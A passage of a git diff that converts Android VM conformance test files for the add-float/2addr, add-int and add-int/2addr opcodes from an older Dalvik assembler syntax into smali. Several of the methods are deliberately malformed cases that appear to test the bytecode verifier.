-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_3.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       const-wide v0, 3141523
-       add-float/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali
new file mode 100644
index 0000000..2dbf80b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d
deleted file mode 100644
index c9832e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_4.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali
new file mode 100644
index 0000000..e21a5e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d
deleted file mode 100644
index 281b673..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_5.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 4
-       add-float/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali
new file mode 100644
index 0000000..f0e04d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d
deleted file mode 100644
index 2aa078c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_float_2addr_6.java
-.class public dot.junit.opcodes.add_float_2addr.d.T_add_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 4
-
-       add-float/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali
new file mode 100644
index 0000000..36d6ea8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d
deleted file mode 100644
index bd71e35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_1.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali
new file mode 100644
index 0000000..54cd6b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_1.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d
deleted file mode 100644
index 83cb90c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int v0, v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali
new file mode 100644
index 0000000..8102974
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int v0, v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d
deleted file mode 100644
index 84db6e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_3.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int v0, v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali
new file mode 100644
index 0000000..d8001ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_3.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int v0, v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d
deleted file mode 100644
index 0ce8bbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_4.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali
new file mode 100644
index 0000000..d35bb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_4.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d
deleted file mode 100644
index a92add0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_5.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       add-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali
new file mode 100644
index 0000000..c6ef531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_5.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d
deleted file mode 100644
index 3dac6df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_6.java
-.class public dot.junit.opcodes.add_int.d.T_add_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali
new file mode 100644
index 0000000..df371ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_6.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d
deleted file mode 100644
index 980379c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_1.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali
new file mode 100644
index 0000000..59fb008
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d
deleted file mode 100644
index bc0c3ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_2.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/2addr v2, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali
new file mode 100644
index 0000000..6e12424
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/2addr v2, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d
deleted file mode 100644
index c47322e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_2addr_3.java
-.class public dot.junit.opcodes.add_int_2addr.d.T_add_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
